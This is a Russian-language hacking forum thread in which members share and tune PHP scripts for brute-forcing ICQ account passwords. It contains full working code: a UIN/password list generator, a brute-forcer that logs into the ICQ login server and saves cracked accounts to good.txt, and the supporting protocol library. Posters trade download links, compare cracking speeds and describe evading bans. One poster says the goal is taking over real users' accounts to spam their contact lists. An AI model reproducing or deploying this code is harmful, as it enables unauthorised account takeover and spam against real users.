ICQ брут

Discussion in 'PHP' started by AdReNa1!Ne, 20 Feb 2009.

  1. .[SD].

    .[SD]. New Member

    Joined:
    25 Jan 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    Code:
    [21-Feb-2009 23:59:35] PHP Warning:  fopen(bad.txt) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: Permission denied in /home/blacksi/public_html/wwww/icqlib.php on line 263
    
    
    еррор лог такой..
     
    1 person likes this.
  2. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    тяжело наверн догадаться что не может открыть файл bad.txt ибо не хватает прав...ставь chmod 777
     
  3. .[SD].

    .[SD]. New Member

    Joined:
    25 Jan 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    щас на все файлы в папке поставил права 777, тоже самое..
     
    1 person likes this.
  4. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    Нельзя во время работы ничего чистить, когда ты чистил файл то ты заблокировал доступ к нему, для этого и есть в пхп функции блокировки файлов. Кто нить мой брут пробовал? Отпишитесь мне интересно)
     
    1 person likes this.
  5. tema666

    tema666 Banned

    Joined:
    28 Jan 2009
    Messages:
    53
    Likes Received:
    46
    Reputations:
    -5
    прикольная вещь.....ща буду тестить))))
     
    2 people like this.
  6. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    вот накатал генератор листов для брута, удобно когда брут стоит на хосте, не надо большой лист заливать, подойдет для обоих брутов в этой теме
    PHP:
    <?php
    echo '<html> <head><title>Генератор</title><style type="text/css"> a:link        {color: #9a9a9a; text-decoration: none;} a:active        {color: #9a9a9a; text-decoration: none;} a:visited        {color: #9a9a9a; text-decoration: none;} a:hover        {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
    if (isset(
    $_POST['submit']))
    {
        foreach (
    $_POST as $post_date_key => $post_date)
        {
            if (empty(
    $post_date))
            {
                die(
    "Вы не заполнили поля");
            }
        }
        
    $from = $_POST['from'];
        
    $to = $_POST['to'];
        
    $pass = $_POST['pass'];
        
    $file = $_POST['file'];

        
    $f = fopen($file, "w");
        for (
    $from; $from < $to; $from++)
        {
            
    $data = $from.";".$pass."\r\n";
            
    fwrite($f, $data);
        }

        
    fclose($f);
        echo 
    "OK"."<br>";
    } else
    {
        echo 
    "<form method='POST' name='submit'><table border=0>
    <tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
    <tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
    <tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
    <tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
    <tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
    </table></form>"
    ;
    }
    echo 
    "Разработка:Zedi v.0.1</body></html><noscript>";

    ?>

     
  7. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    Переделал под icqlib брут.
    У меня срого 2-3 ппс =)
    http://slil.ru/26983989
     
  8. .[SD].

    .[SD]. New Member

    Joined:
    25 Jan 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    да у меня и так 2-4 ппс, зависит от хостинга..
    автор, ответь на вопрос почему у меня стата идет а бад не изменяется? (права 777 на папке и файлах всех, хостинг платный)..
     
    1 person likes this.
  9. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    отредактируй индекс. Там настройка есть $notlog (по умолчанию 0, чтобы не засирать логи)
     
  10. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    а вот мой брут
    Возможности:
    * Генератор
    * Остановка брута
    * Просмотр статистики
    * Очистка списков
    * Измерение скорости

    PHP:
    <?php
    error_reporting
    (E_ALL);
    set_time_limit(0);
    ignore_user_abort(1);

    require_once (
    "icqlib.php");
    $source = "source.txt";
    $good = "good.txt";
    $bad = "bad.txt";
    $stop = "stop.txt";
    echo 
    '<html>
          <head>
            <title>ICQ Брут</title>
            <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
            <style type="text/css">
            a:link        {color: #9a9a9a; text-decoration: none;}
            a:active        {color: #9a9a9a; text-decoration: none;}
            a:visited        {color: #9a9a9a; text-decoration: none;}
            a:hover        {color: #000000; text-decoration: none;}

            input, textarea, select
            {
              background-color: #ffffff;
              border:#000000 1pt solid;
              color: #000000;
              font-size: 9px;
              margin: 0px;
              padding-bottom: 1px;
              padding-left: 2px;
              padding-right: 0px;
              padding-top: 0px;
              font-family: Verdana, arial, Helvetica;
              line-height: 9pt;
            }
            
            body, table
            {
              font-family: Verdana, arial, Helvetica;
              color: #000000;
              font-size: 11px;
            }
           </style>
          </head>
          <body bgcolor="#f0f0f0">'
    ;
    if (isset(
    $_GET['start']))
    {
        
    $start = putw(time(), $stop);
        echo 
    "Брут запущен<br>";
        
    flush();
        
    $file_s = file($source);
        
    $count = count($file_s);
        
    $total = $go = 0;
        foreach (
    $file_s as $str)
        {
            if (
    file_get_contents($stop) == 'stop')
            {
                die(
    "Брут остановлен<br>Разработка:Zedi v.0.2</body></html><noscript>");
            }
            list(
    $uin, $password) = explode(";", $str);
            
    $uin = trim($uin);
            
    $password = trim($password);
            
    $mtime = microtime();
            
    $mtime = explode(" ", $mtime);
            
    $mtime = $mtime[1] + $mtime[0];
            
    $tstart = $mtime;
            
    $debug = false;
            
    $icq = new ICQclient($uin, $password);
            
    $icq->connect();
            if (
    $icq->connected)
            {
                
    $icq->login();
                if (
    $icq->logged)
                {
                    
    $put = put($str, $good);
                } else
                {
                    
    $put = put($str, $bad);
                }
            }
            
    $mtime = microtime();
            
    $mtime = explode(" ", $mtime);
            
    $mtime = $mtime[1] + $mtime[0];
            
    $tend = $mtime;
            
    $total = $total + ($tend - $tstart);
        }
        
    $start = putw('', $stop);
    } elseif (isset(
    $_GET['clean']))
    {
        
    $clean = putw('', $source);
        
    $clean = putw('', $good);
        
    $clean = putw('', $bad);
        echo 
    "Списки очищены<br>";

    } elseif (isset(
    $_GET['stop']))
    {
        
    $clean = putw('stop', $stop);
        echo 
    "Брут остановлен<br>";

    } elseif (isset(
    $_GET['generator']))
    {
        if (isset(
    $_POST['submit']))
        {
            foreach (
    $_POST as $post_date_key => $post_date)
            {
                if (empty(
    $post_date))
                {
                    die(
    "Вы не заполнили поля");
                }
            }
            
    $from = $_POST['from'];
            
    $to = $_POST['to'];
            
    $pass = $_POST['pass'];
            
    $file = $_POST['file'];

            
    $f = fopen($file, "w");
            for (
    $from; $from < $to; $from++)
            {
                
    $data = $from . ";" . $pass . "\r\n";
                
    fwrite($f, $data);
            }

            
    fclose($f);
            echo 
    "OK" . "<br>";

        } else
        {
            echo 
    "<form method='POST' name='submit'><table border=0>
    <tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
    <tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
    <tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
    <tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
    <tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
    </table></form>"
    ;
        }

    } elseif (isset(
    $_GET['good']))
    {
        
    $file_g = file($good);
        
    $gcount = count($file_g);
        echo 
    "Всего " . $gcount . " записей<br>";
        foreach (
    $file_g as $str)
        {
            echo 
    $str . "<br>";
        }

    } else
    {
        
    $source_file = file($source);
        
    $source_count = count($source_file);

        
    $good_file = file($good);
        
    $good_count = count($good_file);

        
    $bad_file = file($bad);
        
    $bad_count = count($bad_file);

        
    $stop_file = file_get_contents($stop);

        
    $passed = $bad_count + $good_count;
        
    $PPS = 0;
        if (
    $source_count != 0)
        {
            
    $percent = ($passed / $source_count) * 100;
        } else
        {
            
    $percent = 0;
        }
        if (
    $percent > 100)
        {
            
    $percent = 100;
        }
        
    $percent = round($percent, 3);
        if (
    $stop_file == 'stop')
        {
            
    $PPS = 0;
        } elseif (
    $stop_file > 1000000000)
        {
            if (
    $passed != 0)
            {
                
    $PPS = 1 / ((time() - $stop_file) / $passed);
            } else
            {
                
    $PPS = 0;
            }
        }
        
    $PPS = round($PPS, 3);
        echo 
    "<table border=0>";
        echo 
    "<tr><td>Всего:" . $source_count .
            
    "</td> <td><a href=?start>Старт</a></td></tr>";
        echo 
    "<tr><td><a href=?good>Хороших:</a>" . $good_count .
            
    "</td> <td><a href=?stop>Стоп</a></td></tr>";
        echo 
    "<tr><td>Плохих:" . $bad_count .
            
    "</td> <td><a href=?clean>Очистить списки</a></td></tr>";
        echo 
    "<tr><td>Выполнено:" . $percent .
            
    "%</td> <td><a href=?generator>Генератор</a></td></tr>";
        echo 
    "<tr><td>Средняя скорость:" . $PPS . " PPS</td></tr>";
        echo 
    "</table>";
    }
    echo 
    "Разработка:Zedi v.0.2</body></html><noscript>";
    ?>
    icqlib.php
    PHP:
    <?
    class 
    ICQclient
    {
        var 
    $socket, $server, $port, $connected;
        var 
    $uin, $password, $logged;
        var 
    $client = array(), $sequence, $TLV = array();
        var 
    $uin_sendto, $message;

        function 
    ICQclient($uin, $password)
        {
            
    $this->server = "login.icq.com";
            
    $this->port = 5190;
            
    $this->uin = (string )$uin;
            
    $this->password = $password;
            
    $this->client = array("name" => "icqlib.php", "country" => "ru", "language" =>
                
    "ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
        }

        function 
    connect()
        {
            
    $this->socket = @fsockopen($this->server, $this->port);
            if (!
    $this->socket)
                return 
    false;
            else
            {
                
    $this->connected = true;
                return 
    true;
            }
        }

        function 
    connect_migration()
        {
            list(
    $server, $port) = explode(":", $this->TLV[0x05]);
            
    $this->socket = @fsockopen($server, $port);
        }

        function 
    login()
        {
            if (!
    $this->connected)
                
    $this->connect();
            if (!
    $this->connected)
                return 
    false;
            
    $this->receive_packet();
            
    $this->sequence = rand(0x0000, 0xFFFF);
            
    $this->send_packet("login");
            
    $SNAC = $this->receive_packet();
            
    $this->parse_SNAC($SNAC);
            if (!(@
    $this->TLV[0x05] and @$this->TLV[0x06]))
                return 
    false;
            
    $this->connect_migration();
            
    $this->send_packet("cookie");
            
    $this->receive_packet();
            
    $this->send_packet("ready");
            
    $this->receive_packet();
            
    $this->logged = true;
            return 
    true;
        }

        function 
    send_message($uin, $message)
        {
            if (!
    $this->logged)
                return 
    false;
            
    $this->uin_sendto = $uin;
            
    $this->message = $message;
            
    $this->send_packet("message");
            
    $this->receive_packet();
            return 
    true;
        }

        function 
    getstatus($uin)
        {
            if (!
    $this->logged)
                return 
    false;
            
    $this->uin_sendto = $uin;
            
    $this->send_packet("userinfo");
            
    $SNAC = $this->receive_packet();
            list(, 
    $subfamily) = unpack("C", $SNAC[3]);
            if (
    $subfamily == 6)
            {
                list(, 
    $uin_length) = unpack("C", $SNAC[10]);
                
    $this->parse_SNAC(substr($SNAC, 15 + $uin_length));
                if (
    $this->TLV[6])
                    list(, 
    $status_code) = unpack("C", $this->TLV[6][3]);
                else
                    
    $status_code = 0xFF;
                switch (
    $status_code)
                {
                    case 
    0x00:
                        
    $status = "online";
                        break;
                    case 
    0x01:
                        
    $status = "away";
                        break;
                    case 
    0x02:
                        
    $status = "dnd";
                        break;
                    case 
    0x03:
                        
    $status = "dnd";
                        break;
                    case 
    0x04:
                        
    $status = "na";
                        break;
                    case 
    0x05:
                        
    $status = "na";
                        break;
                    case 
    0x10:
                        
    $status = "occupied";
                        break;
                    case 
    0x11:
                        
    $status = "occupied";
                        break;
                    case 
    0x13:
                        
    $status = "dnd";
                        break;
                    case 
    0x20:
                        
    $status = "free4chat";
                        break;
                    default:
                        
    $status = "undefined";
                        break;
                }
            } else
                
    $status = "offline";
            return 
    $status;
        }

        function 
    disconnect()
        {
            
    $this->connected = $this->logged = false;
            return @
    fclose($this->socket);
        }

        function 
    log_packet($packet, $type = "packet")
        {
            global 
    $debug_log;
            
    $debug_log .= "<p>$type:<br>";
            for (
    $i = 0; $i < strlen($packet); $i++)
            {
                if (
    strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
                    
    $debug_log .= "0";
                
    $debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
            }
            
    $debug_log .= "</p>";
        }

        function 
    send_packet($type)
        {
            global 
    $debug;
            list(
    $channel, $SNAC) = $this->gen_SNAC($type);
            
    $FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
            
    $packet = $FLAP . $SNAC;
            if (
    $debug)
                
    $this->log_packet($packet, "send");
            @
    fwrite($this->socket, $packet);
            
    $this->sequence++;
            if (
    $this->sequence == 0xFFFF)
                
    $this->sequence = 0x0000;
        }

        function 
    receive_packet()
        {
            global 
    $debug;
            
    $FLAP = @fread($this->socket, 6);
            list(, 
    $length) = @unpack("n", substr($FLAP, 4, 2));
            
    $SNAC = @fread($this->socket, $length);
            
    $packet = $FLAP . $SNAC;
            if (
    $debug)
                
    $this->log_packet($packet, "receive");
            return 
    $SNAC;
        }

        function 
    gen_SNAC($type)
        {
            if (
    $type == "login")
            {
                
    $SNAC = pack("N", 1) . $this->gen_TLV(0x01, $this->uin) . $this->gen_TLV(0x02,
                    
    xor_encrypt($this->password)) . $this->gen_TLV(0x03, $this->client["name"]) . $this->
                    
    gen_TLV(0x16, 266, 2) . $this->gen_TLV(0x17, $this->client["major"], 2) . $this->
                    
    gen_TLV(0x18, $this->client["minor"], 2) . $this->gen_TLV(0x19, $this->client["lesser"],
                    
    2) . $this->gen_TLV(0x1A, $this->client["build"], 2) . $this->gen_TLV(0x14, 85,
                    
    4) . $this->gen_TLV(0x0F, $this->client["language"]) . $this->gen_TLV(0x0E, $this->
                    
    client["country"]);
                
    $channel = 1;
            }
            if (
    $type == "cookie")
            {
                
    $SNAC = pack("N", 1) . $this->gen_TLV(0x06, $this->TLV[0x06]);
                
    $channel = 1;
            }
            if (
    $type == "ready")
            { 
    // SNAC(01,02) - CLI_READY
                
    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10" . "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10" .
                    
    "\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10" . "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10" .
                    
    "\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
                
    $channel = 2;
            }
            if (
    $type == "message")
            { 
    // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
                
    $this->TLV[0x0501] = pack("C", 1);
                
    $this->TLV[0x0101] = pack("N", 0) . $this->message;
                
    $this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]) . $this->gen_TLV(0x0101,
                    
    $this->TLV[0x0101]);
                
    $SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->
                    
    uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02, $this->TLV[0x02]) . $this->
                    
    gen_TLV(0x06, "");
                
    $channel = 2;
            }
            if (
    $type == "userinfo")
            { 
    // SNAC(02,05) - CLI_LOCATION_INFO_REQ
                
    $SNAC = pack("nnnNnca*", 0x02, 0x05, 0, 0, 1, strlen($this->uin_sendto), $this->
                    
    uin_sendto);
                
    $channel = 2;
            }
            return array(
    $channel, $SNAC);
        }

        function 
    parse_SNAC($SNAC)
        {
            unset(
    $this->TLV);
            while (
    strlen($SNAC) > 0)
            {
                list(, 
    $type, $length) = unpack("n2", substr($SNAC, 0, 4));
                
    $this->TLV[$type] = substr($SNAC, 4, $length);
                
    $SNAC = substr($SNAC, 4 + $length);
            }
        }

        function 
    gen_TLV($type, $value, $length = false)
        {
            switch (
    $length)
            {
                case 
    1:
                    
    $format = "C";
                    break; 
    // unsigned char (8 bit)
                
    case 2:
                    
    $format = "n";
                    break; 
    // unsigned short (16 bit, big endian byte order)
                
    case 4:
                    
    $format = "N";
                    break; 
    // unsigned long (32 bit, big endian byte order)
                
    default:
                    
    $format = "a*";
                    break; 
    // NUL-padded string
            
    }
            if (
    $length === false)
                
    $length = strlen($value);
            return 
    pack("nn" . $format, $type, $length, $value);
        }
    }

    function 
    xor_encrypt($password)
    {
        
    $roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
        
    $xored = "";
        for (
    $i = 0; $i < strlen($password); $i++)
            
    $xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
        return 
    $xored;
    }

    function 
    put($data, $file)
    {
        global 
    $go;
        
    $f = fopen($file, "a") or die("File " . $file . " doesn't exist");
        
    fwrite($f, $data);
        
    fclose($f);
        
    $go++;
    }
    function 
    putw($data, $file)
    {
        
    $f = fopen($file, "w");
        
    fwrite($f, $data);
        
    fclose($f);
    }
    ?>
    и создайте файлы source.txt good.txt bad.txt и stop.txt

    или скачать отсюда _http://slil.ru/26984165

    у мя на нете с мобилы (около 70кбит/c) скорость 4-6 ППС

    выслушаю ваши предложения по бруту

    P.S. Адреналин,удали из своего брута функцию put(), это я ее добавил(вероятно ты взял библиотеку из моего брута)
     
    #30 Zedi, 22 Feb 2009
    Last edited: 22 Feb 2009
  11. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    да, из твоего.
    Мне очень влом перезаливать, в след. релизе сделаю...=\
    А вообще спросил бы хотя бы разрешения выкладывать в моей теме, посвященной именно RICQ бруту, выкладывать свои скрипты... хотя мне все равно, но все же...
    Библиотека не твоя, а из kanicq.ru. Копирайты нехорошо стирать.
    http://kanicq.ru/invisible/icqlib.rar

    А еще, почему я обратил свое внимание на RICQ брут - что там брутятся не определенные нумы, а нумы реальных людей, с реальными контакт-листами. Это оч полезно для спама по КЛ.
     
    #31 AdReNa1!Ne, 22 Feb 2009
    Last edited: 22 Feb 2009
    2 people like this.
  12. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    я не говорил что библа моя, я просто про функцию сказал, вот обоновленная версия моего брута http://slil.ru/26984265
     
  13. *DeViL*

    *DeViL* Banned

    Joined:
    27 Nov 2007
    Messages:
    169
    Likes Received:
    56
    Reputations:
    0
    скорость просто летит, 12-14 ппс! и с учером что это безпроксивой брут!.. жжесть..
     
    1 person likes this.
  14. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    http://slil.ru/26994925

    Версия легкого брута от Zedi, использующая идею RICQ brute.
    У меня стабильно 3.5-4 ппс
    Логинится к нескольким серверам, что снижает возможность бана.

    P.S. А на самом деле я вру. 5.5-5.8 ппс у меня ща выжимается ^_^
    P.P.S. Ща 6.8-7.1 ппс.
     
    #34 AdReNa1!Ne, 24 Feb 2009
    Last edited: 24 Feb 2009
  15. Kasali

    Kasali New Member

    Joined:
    12 Feb 2009
    Messages:
    72
    Likes Received:
    1
    Reputations:
    -1
    А на каких хостах кто пользуется то
     
  16. Netmen

    Netmen New Member

    Joined:
    18 May 2008
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    а какой из всех выложенных в теме, "лучше всех"?